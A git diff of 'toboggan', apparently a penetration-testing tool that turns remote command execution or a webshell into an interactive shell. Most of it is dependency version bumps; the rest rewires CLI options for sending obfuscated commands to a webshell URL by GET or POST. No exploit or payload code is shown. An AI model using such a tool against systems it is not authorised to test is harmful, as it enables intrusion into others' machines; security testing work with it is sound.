diff --git a/poetry.lock b/poetry.lock index 419de0b..bb539da 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2,33 +2,35 @@ [[package]] name = "anyio" -version = "3.7.1" +version = "4.6.2.post1" description = "High level compatibility layer for multiple asynchronous event loop implementations" optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" files = [ - {file = "anyio-3.7.1-py3-none-any.whl", hash = "sha256:91dee416e570e92c64041bd18b900d1d6fa78dff7048769ce5ac5ddad004fbb5"}, - {file = "anyio-3.7.1.tar.gz", hash = "sha256:44a3c9aba0f5defa43261a8b3efb97891f2bd7d804e0e1f56419befa1adfc780"}, + {file = "anyio-4.6.2.post1-py3-none-any.whl", hash = "sha256:6d170c36fba3bdd840c73d3868c1e777e33676a69c3a72cf0a0d5d6d8009b61d"}, + {file = "anyio-4.6.2.post1.tar.gz", hash = "sha256:4c8bc31ccdb51c7f7bd251f51c609e038d63e34219b44aa86e47576389880b4c"}, ] [package.dependencies] +exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""} idna = ">=2.8" sniffio = ">=1.1" +typing-extensions = {version = ">=4.1", markers = "python_version < \"3.11\""} [package.extras] -doc = ["Sphinx", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme (>=1.2.2)", "sphinxcontrib-jquery"] -test = ["anyio[trio]", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (>=0.17)"] -trio = ["trio (<0.22)"] +doc = ["Sphinx (>=7.4,<8.0)", "packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"] +test = ["anyio[trio]", "coverage[toml] (>=7)", "exceptiongroup (>=1.2.0)", "hypothesis (>=4.0)", "psutil (>=5.9)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "truststore (>=0.9.1)", "uvloop (>=0.21.0b1)"] +trio = ["trio (>=0.26.1)"] [[package]] name = "certifi" -version = "2024.7.4" +version = "2024.8.30" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.6" files = [ - {file = "certifi-2024.7.4-py3-none-any.whl", hash = "sha256:c198e21b1289c2ab85ee4e67bb4b4ef3ead0892059901a8d5b622f24a1101e90"}, - {file = "certifi-2024.7.4.tar.gz", hash = "sha256:5a1e7645bc0ec61a09e26c36f6106dd4cf40c6db3a1fb6352b0244e7fb057c7b"}, + {file = "certifi-2024.8.30-py3-none-any.whl", hash = "sha256:922820b53db7a7257ffbda3f597266d435245903d80737e34f8a45ff3e3230d8"}, + {file = "certifi-2024.8.30.tar.gz", hash = "sha256:bec941d2aa8195e248a60b31ff9f0558284cf01a52591ceda73ea9afffd69fd9"}, ] [[package]] @@ -42,6 +44,20 @@ files = [ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] +[[package]] +name = "exceptiongroup" +version = "1.2.2" +description = "Backport of PEP 654 (exception groups)" +optional = false +python-versions = ">=3.7" +files = [ + {file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"}, + {file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"}, +] + +[package.extras] +test = ["pytest (>=6)"] + [[package]] name = "h11" version = "0.14.0" @@ -55,39 +71,40 @@ files = [ [[package]] name = "httpcore" -version = "0.17.3" +version = "1.0.7" description = "A minimal low-level HTTP client." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "httpcore-0.17.3-py3-none-any.whl", hash = "sha256:c2789b767ddddfa2a5782e3199b2b7f6894540b17b16ec26b2c4d8e103510b87"}, - {file = "httpcore-0.17.3.tar.gz", hash = "sha256:a6f30213335e34c1ade7be6ec7c47f19f50c56db36abef1a9dfa3815b1cb3888"}, + {file = "httpcore-1.0.7-py3-none-any.whl", hash = "sha256:a3fff8f43dc260d5bd363d9f9cf1830fa3a458b332856f34282de498ed420edd"}, + {file = "httpcore-1.0.7.tar.gz", hash = "sha256:8551cb62a169ec7162ac7be8d4817d561f60e08eaa485234898414bb5a8a0b4c"}, ] [package.dependencies] -anyio = ">=3.0,<5.0" certifi = "*" h11 = ">=0.13,<0.15" -sniffio = "==1.*" [package.extras] +asyncio = ["anyio (>=4.0,<5.0)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] +trio = ["trio (>=0.22.0,<1.0)"] [[package]] name = "httpx" -version = "0.24.1" +version = "0.27.2" description = "The next generation HTTP client." optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" files = [ - {file = "httpx-0.24.1-py3-none-any.whl", hash = "sha256:06781eb9ac53cde990577af654bd990a4949de37a28bdb4a230d434f3a30b9bd"}, - {file = "httpx-0.24.1.tar.gz", hash = "sha256:5853a43053df830c20f8110c5e69fe44d035d850b2dfe795e196f00fdb774bdd"}, + {file = "httpx-0.27.2-py3-none-any.whl", hash = "sha256:7bb2708e112d8fdd7829cd4243970f0c223274051cb35ee80c03301ee29a3df0"}, + {file = "httpx-0.27.2.tar.gz", hash = "sha256:f7c2be1d2f3c3c3160d441802406b206c2b76f5947b11115e6df10c6c65e66c2"}, ] [package.dependencies] +anyio = "*" certifi = "*" -httpcore = ">=0.15.0,<0.18.0" +httpcore = "==1.*" idna = "*" sniffio = "*" @@ -96,27 +113,31 @@ brotli = ["brotli", "brotlicffi"] cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] http2 = ["h2 (>=3,<5)"] socks = ["socksio (==1.*)"] +zstd = ["zstandard (>=0.18.0)"] [[package]] name = "idna" -version = "3.7" +version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" files = [ - {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, - {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, ] +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + [[package]] name = "prompt-toolkit" -version = "3.0.39" +version = "3.0.48" description = "Library for building powerful interactive command lines in Python" optional = false python-versions = ">=3.7.0" files = [ - {file = "prompt_toolkit-3.0.39-py3-none-any.whl", hash = "sha256:9dffbe1d8acf91e3de75f3b544e4842382fc06c6babe903ac9acb74dc6e08d88"}, - {file = "prompt_toolkit-3.0.39.tar.gz", hash = "sha256:04505ade687dc26dc4284b1ad19a83be2f2afe83e7a828ace0c72f3a1df72aac"}, + {file = "prompt_toolkit-3.0.48-py3-none-any.whl", hash = "sha256:f49a827f90062e411f1ce1f854f2aedb3c23353244f8108b89283587397ac10e"}, + {file = "prompt_toolkit-3.0.48.tar.gz", hash = "sha256:d6623ab0477a80df74e646bdbc93621143f5caf104206aa29294d53de1a03d90"}, ] [package.dependencies] @@ -124,75 +145,75 @@ wcwidth = "*" [[package]] name = "pycryptodome" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:417a276aaa9cb3be91f9014e9d18d10e840a7a9b9a9be64a42f553c5b50b4d1d"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a1250b7ea809f752b68e3e6f3fd946b5939a52eaeea18c73bdab53e9ba3c2dd"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:d5954acfe9e00bc83ed9f5cb082ed22c592fbbef86dc48b907238be64ead5c33"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:06d6de87c19f967f03b4cf9b34e538ef46e99a337e9a61a77dbe44b2cbcf0690"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:ec0bb1188c1d13426039af8ffcb4dbe3aad1d7680c35a62d8eaf2a529b5d3d4f"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5601c934c498cd267640b57569e73793cb9a83506f7c73a8ec57a516f5b0b091"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d29daa681517f4bc318cd8a23af87e1f2a7bad2fe361e8aa29c77d652a065de4"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3427d9e5310af6680678f4cce149f54e0bb4af60101c7f2c16fdf878b39ccccc"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:3cd3ef3aee1079ae44afaeee13393cf68b1058f70576b11439483e34f93cf818"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac1c7c0624a862f2e53438a15c9259d1655325fc2ec4392e66dc46cdae24d044"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:76658f0d942051d12a9bd08ca1b6b34fd762a8ee4240984f7c06ddfb55eaf15a"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f35d6cee81fa145333137009d9c8ba90951d7d77b67c79cbe5f03c7eb74d8fe2"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76cb39afede7055127e35a444c1c041d2e8d2f1f9c121ecef573757ba4cd2c3c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49a4c4dc60b78ec41d2afa392491d788c2e06edf48580fbfb0dd0f828af49d25"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fb3b87461fa35afa19c971b0a2b7456a7b1db7b4eba9a8424666104925b78128"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:acc2614e2e5346a4a4eab6e199203034924313626f9620b7b4b38e9ad74b7e0c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:210ba1b647837bfc42dd5a813cdecb5b86193ae11a3f5d972b9a0ae2c7e9e4b4"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win32.whl", hash = "sha256:8d6b98d0d83d21fb757a182d52940d028564efe8147baa9ce0f38d057104ae72"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:9b3ae153c89a480a0ec402e23db8d8d84a3833b65fa4b15b81b83be9d637aab9"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:4401564ebf37dfde45d096974c7a159b52eeabd9969135f0426907db367a652a"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:ec1f93feb3bb93380ab0ebf8b859e8e5678c0f010d2d78367cf6bc30bfeb148e"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:acae12b9ede49f38eb0ef76fdec2df2e94aad85ae46ec85be3648a57f0a7db04"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f47888542a0633baff535a04726948e876bf1ed880fddb7c10a736fa99146ab3"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e0e4a987d38cfc2e71b4a1b591bae4891eeabe5fa0f56154f576e26287bfdea"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c18b381553638414b38705f07d1ef0a7cf301bc78a5f9bc17a957eb19446834b"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a60fedd2b37b4cb11ccb5d0399efe26db9e0dd149016c1cc6c8161974ceac2d6"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:405002eafad114a2f9a930f5db65feef7b53c4784495dd8758069b89baf68eab"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ab6ab0cb755154ad14e507d1df72de9897e99fd2d4922851a276ccc14f4f1a5"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:acf6e43fa75aca2d33e93409f2dafe386fe051818ee79ee8a3e21de9caa2ac9e"}, - {file = "pycryptodome-3.20.0.tar.gz", hash = "sha256:09609209ed7de61c2b560cc5c8c4fbf892f8b15b1faf7e4cbffac97db1fffda7"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dad9bf36eda068e89059d1f07408e397856be9511d7113ea4b586642a429a4fd"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a1752eca64c60852f38bb29e2c86fca30d7672c024128ef5d70cc15868fa10f4"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:3ba4cc304eac4d4d458f508d4955a88ba25026890e8abff9b60404f76a62c55e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cb087b8612c8a1a14cf37dd754685be9a8d9869bed2ffaaceb04850a8aeef7e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:26412b21df30b2861424a6c6d5b1d8ca8107612a4cfa4d0183e71c5d200fb34a"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:cc2269ab4bce40b027b49663d61d816903a4bd90ad88cb99ed561aadb3888dd3"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0fa0a05a6a697ccbf2a12cec3d6d2650b50881899b845fac6e87416f8cb7e87d"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:6cce52e196a5f1d6797ff7946cdff2038d3b5f0aba4a43cb6bf46b575fd1b5bb"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a915597ffccabe902e7090e199a7bf7a381c5506a747d5e9d27ba55197a2c568"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e74c522d630766b03a836c15bff77cb657c5fdf098abf8b1ada2aebc7d0819"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:a3804675283f4764a02db05f5191eb8fec2bb6ca34d466167fc78a5f05bbe6b3"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:2480ec2c72438430da9f601ebc12c518c093c13111a5c1644c82cdfc2e50b1e4"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:de18954104667f565e2fbb4783b56667f30fb49c4d79b346f52a29cb198d5b6b"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2de4b7263a33947ff440412339cb72b28a5a4c769b5c1ca19e33dd6cd1dcec6e"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0714206d467fc911042d01ea3a1847c847bc10884cf674c82e12915cfe1649f8"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d85c1b613121ed3dbaa5a97369b3b757909531a959d229406a75b912dd51dd1"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8898a66425a57bcf15e25fc19c12490b87bd939800f39a03ea2de2aea5e3611a"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:932c905b71a56474bff8a9c014030bc3c882cee696b448af920399f730a650c2"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:18caa8cfbc676eaaf28613637a89980ad2fd96e00c564135bf90bc3f0b34dd93"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win32.whl", hash = "sha256:280b67d20e33bb63171d55b1067f61fbd932e0b1ad976b3a184303a3dad22764"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b7aa25fc0baa5b1d95b7633af4f5f1838467f1815442b22487426f94e0d66c53"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2cb635b67011bc147c257e61ce864879ffe6d03342dc74b6045059dfbdedafca"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:4c26a2f0dc15f81ea3afa3b0c87b87e501f235d332b7f27e2225ecb80c0b1cdd"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:d5ebe0763c982f069d3877832254f64974139f4f9655058452603ff559c482e8"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ee86cbde706be13f2dec5a42b52b1c1d1cbb90c8e405c68d0755134735c8dc6"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0fd54003ec3ce4e0f16c484a10bc5d8b9bd77fa662a12b85779a2d2d85d67ee0"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:5dfafca172933506773482b0e18f0cd766fd3920bd03ec85a283df90d8a17bc6"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:590ef0898a4b0a15485b05210b4a1c9de8806d3ad3d47f74ab1dc07c67a6827f"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f35e442630bc4bc2e1878482d6f59ea22e280d7121d7adeaedba58c23ab6386b"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff99f952db3db2fbe98a0b355175f93ec334ba3d01bbde25ad3a5a33abc02b58"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8acd7d34af70ee63f9a849f957558e49a98f8f1634f86a59d2be62bb8e93f71c"}, + {file = "pycryptodome-3.21.0.tar.gz", hash = "sha256:f7787e0d469bdae763b876174cf2e6c0f7be79808af26b1da96f1a64bcf47297"}, ] [[package]] name = "pyperclip" -version = "1.8.2" +version = "1.9.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" files = [ - {file = "pyperclip-1.8.2.tar.gz", hash = "sha256:105254a8b04934f0bc84e9c24eb360a591aaf6535c9def5f29d92af107a9bf57"}, + {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, ] [[package]] name = "sniffio" -version = "1.3.0" +version = "1.3.1" description = "Sniff out which async library your code is running under" optional = false python-versions = ">=3.7" files = [ - {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"}, - {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"}, + {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, + {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, ] [[package]] name = "tqdm" -version = "4.66.3" +version = "4.67.0" description = "Fast, Extensible Progress Meter" optional = false python-versions = ">=3.7" files = [ - {file = "tqdm-4.66.3-py3-none-any.whl", hash = "sha256:4f41d54107ff9a223dca80b53efe4fb654c67efaba7f47bada3ee9d50e05bd53"}, - {file = "tqdm-4.66.3.tar.gz", hash = "sha256:23097a41eba115ba99ecae40d06444c15d1c0c698d527a01c6c8bd1c5d0647e5"}, + {file = "tqdm-4.67.0-py3-none-any.whl", hash = "sha256:0cd8af9d56911acab92182e88d763100d4788bdf421d251616040cc4d44863be"}, + {file = "tqdm-4.67.0.tar.gz", hash = "sha256:fe5a6f95e6fe0b9755e9469b77b9c3cf850048224ecaa8293d7d2d31f97d869a"}, ] [package.dependencies] @@ -200,22 +221,34 @@ colorama = {version = "*", markers = "platform_system == \"Windows\""} [package.extras] dev = ["pytest (>=6)", "pytest-cov", "pytest-timeout", "pytest-xdist"] +discord = ["requests"] notebook = ["ipywidgets (>=6)"] slack = ["slack-sdk"] telegram = ["requests"] +[[package]] +name = "typing-extensions" +version = "4.12.2" +description = "Backported and Experimental Type Hints for Python 3.8+" +optional = false +python-versions = ">=3.8" +files = [ + {file = "typing_extensions-4.12.2-py3-none-any.whl", hash = "sha256:04e5ca0351e0f3f85c6853954072df659d0d13fac324d0072316b67d7794700d"}, + {file = "typing_extensions-4.12.2.tar.gz", hash = "sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, +] + [[package]] name = "wcwidth" -version = "0.2.6" +version = "0.2.13" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ - {file = "wcwidth-0.2.6-py2.py3-none-any.whl", hash = "sha256:795b138f6875577cd91bba52baf9e445cd5118fd32723b460e30a0af30ea230e"}, - {file = "wcwidth-0.2.6.tar.gz", hash = "sha256:a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"}, + {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, + {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, ] [metadata] lock-version = "2.0" -python-versions = ">=3.11" -content-hash = "97824e4ad6e19ee6edba828bf0764f1033149fa297d6cda7c00b1c5f48433c4e" +python-versions = ">=3.10" +content-hash = "02ce1d52699c03058aaafb00c26dc82531c85d07aeafd199f12b5c772fe100bb" diff --git a/pyproject.toml b/pyproject.toml index ff75e49..5d9ed0f 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,13 +1,13 @@ [tool.poetry] name = "toboggan" -version = "1.0" -description = "Toboggan is a python3 module wrapper for your RCEs that can be leveraged to interactive shell." +version = "2.0" +description = "CLI tool designed to wrap modules for Remote Command Execution (RCE). It enables interactive shell functionality, making it ideal for constrained environments (e.g., firewalls) where establishing a reverse shell is challenging." authors = ["n3rada"] license = "MIT license" readme = "README.md" [tool.poetry.dependencies] -python = ">=3.11" +python = ">=3.10" prompt-toolkit = ">=3.0.39" tqdm = ">=4.66.0" httpx = ">=0.24.1" diff --git a/toboggan/console.py b/toboggan/console.py index 5ffbb27..f40d62e 100644 --- a/toboggan/console.py +++ b/toboggan/console.py @@ -10,7 +10,8 @@ def banner() -> None: - banner = r""" + print( + r""" _____ _ /__ \___ | |__ ___ __ _ __ _ __ _ _ __ / /\/ _ \| '_ \ / _ \ / _` |/ _` |/ _` | '_ \ @@ -20,25 +21,39 @@ def banner() -> None: Remote command execution module wrapping tool. @n3rada """ - print(banner) + ) def run() -> None: parser = argparse.ArgumentParser( prog="toboggan", add_help=True, - description="A python3 module wrapper for your RCEs that can be leveraged to an interactive shell.", + description="A Python module wrapper for RCEs that can be leveraged to an interactive shell.", + ) + + # Argument Groups + module_group = parser.add_argument_group( + "Module Configuration", "Options to configure the execution module." + ) + request_group = parser.add_argument_group( + "Request Configuration", "Options for crafting and sending requests." + ) + interactive_group = parser.add_argument_group( + "Interactive Settings", "Options to manage interactive sessions." + ) + advanced_group = parser.add_argument_group( + "Advanced Options", "Additional advanced or debugging options." ) - parser.add_argument( + # Module configuration arguments + module_group.add_argument( "-m", "--module", type=str, default=None, help="Module path to be imported and executed or built-in module name.", ) - - parser.add_argument( + module_group.add_argument( "-o", "--os", type=str, @@ -46,30 +61,42 @@ def run() -> None: help="OS command with placeholder ||cmd||.", ) - parser.add_argument( + # Request configuration arguments + request_group.add_argument( "-u", "--url", type=str, default=None, help="URL to use if a built-in module is specified. Replace ||URL|| placeholder.", ) - - parser.add_argument( + request_group.add_argument( + "--post", + action="store_true", + required=False, + help="Specify that the URL request should be a POST request (only with -u/--url).", + ) + request_group.add_argument( "-p", - "--password", + "--params", + nargs="*", + help="Additional parameters as key=value pairs.", + ) + request_group.add_argument( + "--cmd-param", type=str, - default=None, - help="Password in 'key=value' format. If only value is provided, a default key 'ps' will be used.", + default="cmd", + help="Specify the name of the command parameter (e.g., cmd, command, c).", ) - parser.add_argument( + # Interactive session arguments + interactive_group.add_argument( "-i", "--interactive", action="store_true", required=False, help="Start an interactive session.", ) - parser.add_argument( + interactive_group.add_argument( "-s", "--session", required=False, @@ -77,7 +104,7 @@ def run() -> None: default=None, help="Session to connect.", ) - parser.add_argument( + interactive_group.add_argument( "-r", "--read-interval", required=False, @@ -85,7 +112,9 @@ def run() -> None: default=None, help="Reading interval for interactivity.", ) - parser.add_argument( + + # Advanced options + advanced_group.add_argument( "-a", "--alias-prefix", required=False, @@ -93,66 +122,63 @@ def run() -> None: default=None, help="Desired alias prefix to use.", ) - parser.add_argument( + advanced_group.add_argument( "-c", "--clear-commands", action="store_true", required=False, help="Send unobfuscated commands.", ) - - parser.add_argument( + advanced_group.add_argument( "-b", "--burp", action="store_true", required=False, - help="Pass the traffic through burp if '# ||BURP||' placeholder is present inside choosen module.", + help="Pass the traffic through Burp Suite if '# ||BURP||' placeholder is present in the module.", ) - banner() - + # Parse arguments args = parser.parse_args() - if ("-h" in sys.argv or "--help" in sys.argv) or ( - args.module is None and args.url is None and args.os is None - ): - parser.print_help() - return - - # Check for the presence of '-i' when '-s' or '-r' is specified - if (args.session or args.read_interval) and not args.interactive: - parser.error( - "[Toboggan] The -s and -r arguments require the -i (interactive) argument." - ) - - password_param = None - password_content = None - - if args.password: - # Try the formats `"key"="value"` or `'key'='value'` - if match := re.match(r'["\']?(.*?)["\']?=["\']?(.*?)["\']?$', args.password): - password_param, password_content = match.groups() - else: - # Try the second format `key=value` - password_parts = args.password.split("=", 1) - if len(password_parts) == 2: - password_param, password_content = password_parts + # Add validation for grouped arguments + if args.url: + if not args.params and not args.cmd_param: + parser.error( + "URL-based execution requires parameters (--params) or a command parameter (--cmd-param)." + ) + if args.post and not args.url: + parser.error("The --post argument can only be used with --url.") + + if args.session and not args.interactive: + parser.error("The --session argument requires --interactive.") + + if args.read_interval and not args.interactive: + parser.error("The --read-interval argument requires --interactive.") + + # Parse parameters + request_parameters = {} + if args.params: + for param in args.params: + if "=" in param: + key, value = param.split("=", 1) + request_parameters[key] = value else: - password_param = "ps" - password_content = password_parts[0] + parser.error(f"Invalid parameter format: {param}. Use key=value.") + # Module handling module_path_or_name = args.module if args.os: module_path_or_name = "snippet" elif args.url: - module_path_or_name = "webshell" + module_path_or_name = "webshell__" + module_path_or_name += "POST" if args.post else "GET" # Load the module module_instance = executor.Module( module_path=module_path_or_name, url=args.url, - password_param=password_param, - password_content=password_content, + request_parameters=request_parameters, + command_parameter=args.cmd_param, burp_proxy=args.burp, ) diff --git a/toboggan/modules/webshell.py b/toboggan/modules/webshell__GET.py similarity index 60% rename from toboggan/modules/webshell.py rename to toboggan/modules/webshell__GET.py index 6154af0..1dd7c74 100644 --- a/toboggan/modules/webshell.py +++ b/toboggan/modules/webshell__GET.py 